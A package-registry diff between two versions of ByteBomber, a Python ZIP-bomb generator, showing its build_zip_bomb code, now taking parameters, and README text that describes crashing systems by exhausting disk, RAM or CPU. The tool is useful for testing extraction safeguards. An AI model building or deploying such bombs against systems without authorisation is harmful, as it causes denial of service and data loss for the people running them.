ByteBomber 2.1.2__py3-none-any.whl → 2.2.1__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
bytebomber/__main__.py CHANGED
@@ -29,21 +29,30 @@ def get_bytes(amount_str):
29
29
  except:
30
30
  raise ValueError("Format: <number> <unit>, e.g., 1 PB or 500 GB")
31
31
 
32
- def build_zip_bomb():
33
- target_input = input("Bomb decompressed size: ") or "500 GB"
34
- payload_input = input("Payload file size: ") or "1 MB"
35
- zip_name = input("Output zip name: ") or "bomb.zip"
36
- folder_name = input("Bomb directory name: ") or "bomb-dir"
32
+ def build_zip_bomb(
33
+ target_input=None,
34
+ payload_input=None,
35
+ zip_name=None,
36
+ folder_name=None,
37
+ verbose=True,
38
+ show_progress=True
39
+ ):
40
+ target_input = target_input or input("Bomb decompressed size: ") or "500 GB"
41
+ payload_input = payload_input or input("Payload file size: ") or "1 MB"
42
+ zip_name = zip_name or input("Output zip name: ") or "bomb.zip"
43
+ folder_name = folder_name or input("Bomb directory name: ") or "bomb-dir"
37
44
 
38
45
  PAYLOAD_NAME = "payload.txt"
39
46
  DECOMPRESSED_TOTAL = get_bytes(target_input)
40
47
  PAYLOAD_SIZE = get_bytes(payload_input)
41
48
  REPEATS = DECOMPRESSED_TOTAL // PAYLOAD_SIZE
42
- print(f"\n Creating ZIP bomb:\n")
43
- print(f" Payload size: {PAYLOAD_SIZE} bytes")
44
- print(f" Total uncompressed: {DECOMPRESSED_TOTAL} bytes")
45
- print(f" File count: {REPEATS}")
46
- print(f" Output: {zip_name}\n")
49
+
50
+ if verbose:
51
+ print(f"\n Creating ZIP bomb:\n")
52
+ print(f" Payload size: {PAYLOAD_SIZE} bytes")
53
+ print(f" Total uncompressed: {DECOMPRESSED_TOTAL} bytes")
54
+ print(f" File count: {REPEATS}")
55
+ print(f" Output: {zip_name}\n")
47
56
 
48
57
  with open(PAYLOAD_NAME, "wb") as f:
49
58
  f.write(b'\0' * PAYLOAD_SIZE)
@@ -52,10 +61,13 @@ def build_zip_bomb():
52
61
  for i in range(REPEATS):
53
62
  arcname = f"{folder_name}/{i}.txt"
54
63
  zf.write(PAYLOAD_NAME, arcname)
55
- progress_bar(i + 1, REPEATS)
64
+ if show_progress:
65
+ progress_bar(i + 1, REPEATS)
56
66
 
57
67
  os.remove(PAYLOAD_NAME)
58
- print(f"\n\nCreated zip bomb: {zip_name}")
68
+
69
+ if verbose:
70
+ print(f"\n\nCreated zip bomb: {zip_name}")
59
71
 
60
72
  if __name__ == "__main__":
61
73
  main()
@@ -0,0 +1,58 @@
1
+ Metadata-Version: 2.4
2
+ Name: ByteBomber
3
+ Version: 2.2.1
4
+ Summary: ZIP bomb generator (for educational purposes only)
5
+ License: MIT
6
+ Project-URL: Source, https://github.com/luckalgorithm/ByteBomber
7
+ Project-URL: Documentation, https://luckalgorithm.github.io/ByteBomber
8
+ Classifier: Programming Language :: Python :: 3
9
+ Classifier: License :: OSI Approved :: MIT License
10
+ Classifier: Operating System :: OS Independent
11
+ Classifier: Topic :: Security
12
+ Classifier: Topic :: Utilities
13
+ Classifier: Intended Audience :: Developers
14
+ Classifier: Intended Audience :: System Administrators
15
+ Classifier: Development Status :: 5 - Production/Stable
16
+ Requires-Python: <4.0,>=3.6
17
+ Description-Content-Type: text/markdown
18
+ License-File: LICENSE
19
+ Dynamic: license-file
20
+
21
+ ByteBomber is a Python tool for creating ZIP bombs. It demonstrates how compression algorithms (specifically ZIP's DEFLATE) can exploit redundancy to create highly compressed files that expand drastically when extracted. It’s primarily for educational purposes to understand the impact of such files.
22
+
23
+ ## Installation
24
+
25
+ Install ByteBomber via pip: `pip install bytebomber`
26
+
27
+ You can then use it in your project: `from bytebomber import build_zip_bomb`
28
+
29
+ ## Usage
30
+
31
+ Call `build_zip_bomb()` to create a ZIP bomb. You can pass several arguments to customize the behavior:
32
+
33
+ ```
34
+ build_zip_bomb(
35
+ target_input="500 GB",
36
+ payload_input="1 MB",
37
+ zip_name="bomb.zip",
38
+ folder_name="bomb-dir",
39
+ verbose=True,
40
+ show_progress=True
41
+ )
42
+ ```
43
+
44
+ | **Parameter** | Description |
45
+ |----------------| ----------------------------------------------------------------------------------|
46
+ | `target_input` | Total uncompressed size of the ZIP bomb. Default: prompts user or uses `"500 GB"`. |
47
+ | `payload_input` | Size of each file inside the ZIP. Smaller values = more files. Default: prompts user or uses `"1 MB"`. |
48
+ | `zip_name` | Output ZIP file name. Default: prompts user or uses `"bomb.zip"`. |
49
+ | `folder_name` | Internal folder name for the payload files. Default: prompts user or uses `"bomb_dir"`. |
50
+ | `verbose` | If `True`, shows config + summary output. Default: `True`. |
51
+ | `show_progress` | If `True`, shows a live progress bar. Default: `True`. |
52
+
53
+ Use the format `<number> <unit>` when entering values (e.g., `500 GB`, `1 TB`). ByteBomber supports B, KB, MB, GB, TB, PB, EB, ZB, and YB. Valuse in the GB-TB range are usaully more than enough to stress a system. Values above TB are astronomical data zizes far more than most systems can handle.
54
+
55
+ > [!NOTE]
56
+ > The program accepts values using standard units (e.g., MB, GB), but internally it treats them as binary units (e.g., MiB, GiB).
57
+
58
+ **ByteBomber is for educational purposes only. Do not deploy ZIP bombs on systems you do not own or have permission to test. Misuse can result in data loss or system damage.**
@@ -0,0 +1,8 @@
1
+ bytebomber/__init__.py,sha256=ry7B_o4gtFbUp_z8D3UsaoB0yO26eiUN9YDfk67ui2E,36
2
+ bytebomber/__main__.py,sha256=EDnfKoVTJSKkFD_4bCn_4rVk3AG2WGYFtTBaU4RS8b8,2251
3
+ bytebomber-2.2.1.dist-info/licenses/LICENSE,sha256=D19NENd0v-XNzdKjvdphMBIdnY-aUcaok4q32x2G-jY,1070
4
+ bytebomber-2.2.1.dist-info/METADATA,sha256=uvy6TCOlTT05EaJ9QG7ESkdiMtpobFu0HDv7HrRSv3s,2803
5
+ bytebomber-2.2.1.dist-info/WHEEL,sha256=pxyMxgL8-pra_rKaQ4drOZAegBVuX-G_4nRHjjgWbmo,91
6
+ bytebomber-2.2.1.dist-info/entry_points.txt,sha256=v7HnIUxttlBwYp_xC0K0YpXrEzIbEybt6tmbPjj8pKg,66
7
+ bytebomber-2.2.1.dist-info/top_level.txt,sha256=bDtIXh70vdwT8VslZsHHLGkV7VBuZXxk0fzN0lWv4Y4,11
8
+ bytebomber-2.2.1.dist-info/RECORD,,
@@ -1,117 +0,0 @@
1
- Metadata-Version: 2.4
2
- Name: ByteBomber
3
- Version: 2.1.2
4
- Summary: ZIP bomb generator (for educational purposes only)
5
- License: MIT
6
- Project-URL: Homepage, https://github.com/luckalgorithm/ByteBomber
7
- Project-URL: Documentation, https://luckalgorithm.github.io/ByteBomber
8
- Project-URL: Source, https://github.com/luckalgorithm/ByteBomber
9
- Project-URL: IssueTracker, https://github.com/luckalgorithm/ByteBomber/issues
10
- Classifier: Programming Language :: Python :: 3
11
- Classifier: License :: OSI Approved :: MIT License
12
- Classifier: Operating System :: OS Independent
13
- Classifier: Topic :: Security
14
- Classifier: Topic :: Utilities
15
- Classifier: Intended Audience :: Developers
16
- Classifier: Intended Audience :: System Administrators
17
- Classifier: Development Status :: 5 - Production/Stable
18
- Requires-Python: <4.0,>=3.6
19
- Description-Content-Type: text/markdown
20
- License-File: LICENSE
21
- Dynamic: license-file
22
-
23
- # ByteBomber
24
-
25
- ByteBomber is a tool for creating ZIP bombs. A ZIP bomb is a highly compressed ZIP file that massively expands in size when extracted. ByteBomber is designed to demonstrate how compression algorithms (specifically ZIP's DEFLATE) can be used to exhaust system resources (disk space, RAM, or CPU), potentially crashing systems or causing instability.
26
-
27
- ## Installation
28
-
29
- To install ByteBomber, run the following command: `pip install bytebomber` (Alternatively, use `pip3` if necessary.)
30
-
31
- Once installed, you can integrate ByteBomber into your own project by importing the `build_zip_bomb` function: `from bytebomber import build_zip_bomb`
32
-
33
- You can then call `build_zip_bomb()` in your code to generate ZIP bombs.
34
-
35
- ## What ByteBomber Does
36
-
37
- 1. Takes input for how big the uncompressed bomb should be.
38
- 2. Takes input for how large each individual payload file should be.
39
- 3. Generates a file filled with null bytes (`\x00`) of that size.
40
- 4. Creates a ZIP archive containing that file duplicated many times.
41
- 5. Applies DEFLATE compression to exploit redundancy.
42
-
43
- Since every payload file is identical and filled with zeroes, compression is extremely effective—producing a small ZIP file that expands drastically when extracted.
44
-
45
- ## CLI
46
-
47
- When you run the script, you'll be prompted for the following:
48
-
49
- `Bomb decompressed size:`
50
-
51
- - This is the total uncompressed size you want the final ZIP bomb to expand to.
52
- - Default is 500 GB.
53
-
54
- `Payload file size:`
55
-
56
- - Size of the individual file inside the ZIP archive.
57
- - The smaller this is, the more files the ZIP bomb will contain.
58
- - Default is 1 MB.
59
-
60
- `Output zip name:`
61
-
62
- - Name of the final ZIP file to be created.
63
- - Default is `bomb.zip`.
64
-
65
- `Bomb directory name:`
66
-
67
- - Directory where files are extracted when the bomb is decompressed.
68
- - Default is `bomb-dir`.
69
-
70
- Use the format `<number> <unit>` when entering values (e.g., `500 GB`, `1 TB`).
71
-
72
- | Supported Unit | Size | Size In Bytes |
73
- | -------------- | -------- | --------------------------------- |
74
- | B (byte) | 1 B | 1 |
75
- | KB (Kilobyte) | 1,024 B | 1,024 |
76
- | MB (Megabyte) | 1,024 KB | 1,048,576 |
77
- | GB (Gigabyte) | 1,024 MB | 1,073,741,824 |
78
- | TB (Terabyte) | 1,024 GB | 1,099,511,627,776 |
79
- | PB (Petabyte) | 1,024 TB | 1,125,899,906,842,624 |
80
- | EB (Exabyte) | 1,024 PB | 1,152,921,504,606,846,976 |
81
- | ZB (Zettabyte) | 1,024 EB | 1,180,591,620,717,411,303,424 |
82
- | YB (Yottabyte) | 1,024 ZB | 1,208,925,819,614,629,174,706,176 |
83
-
84
- > [!NOTE]
85
- > For most purposes, GB or TB ranges are more than sufficient to stress a system. PB, EB, ZB, and YB represent astronomical data sizes far beyond what typical systems can handle.
86
-
87
- Once input is provided, a summary of the configuration is shown:
88
-
89
- ```
90
- Creating ZIP bomb:
91
-
92
- Payload size: 1048576 bytes
93
- Total uncompressed: 536870912000 bytes
94
- File count: 512000
95
- Output: bomb.zip
96
- ```
97
-
98
- - Payload size: Size of the file being copied inside the ZIP.
99
- - Total uncompressed: Target final size when the ZIP is extracted.
100
- - File count: How many copies of the payload file are added.
101
- - Output: Filename of the ZIP bomb.
102
-
103
- It will then show live progress as files are added to the ZIP.
104
-
105
- ## What's in the ZIP
106
-
107
- Inside the ZIP there are tens of thousands to millions of identical files like:
108
-
109
- - 0.txt
110
- - 1.txt
111
- - 2.txt
112
- - ...
113
-
114
- All filled with null bytes. The compression algorithm detects repetition and compresses it heavily.
115
-
116
- > [!WARNING]
117
- > **ByteBomber is for educational purposes only. Do not deploy ZIP bombs on systems you do not own or have permission to test. Misuse can result in data loss or system damage.**
@@ -1,8 +0,0 @@
1
- bytebomber/__init__.py,sha256=ry7B_o4gtFbUp_z8D3UsaoB0yO26eiUN9YDfk67ui2E,36
2
- bytebomber/__main__.py,sha256=cIXzaHdjOhfHiD7Uq49t1-yzCVuRrZCnnBl2Nygw5cE,1957
3
- bytebomber-2.1.2.dist-info/licenses/LICENSE,sha256=D19NENd0v-XNzdKjvdphMBIdnY-aUcaok4q32x2G-jY,1070
4
- bytebomber-2.1.2.dist-info/METADATA,sha256=beGK27OYsrzbC86DgmC13RwtI9rGFtgUbR59DVLVHv8,4654
5
- bytebomber-2.1.2.dist-info/WHEEL,sha256=pxyMxgL8-pra_rKaQ4drOZAegBVuX-G_4nRHjjgWbmo,91
6
- bytebomber-2.1.2.dist-info/entry_points.txt,sha256=v7HnIUxttlBwYp_xC0K0YpXrEzIbEybt6tmbPjj8pKg,66
7
- bytebomber-2.1.2.dist-info/top_level.txt,sha256=bDtIXh70vdwT8VslZsHHLGkV7VBuZXxk0fzN0lWv4Y4,11
8
- bytebomber-2.1.2.dist-info/RECORD,,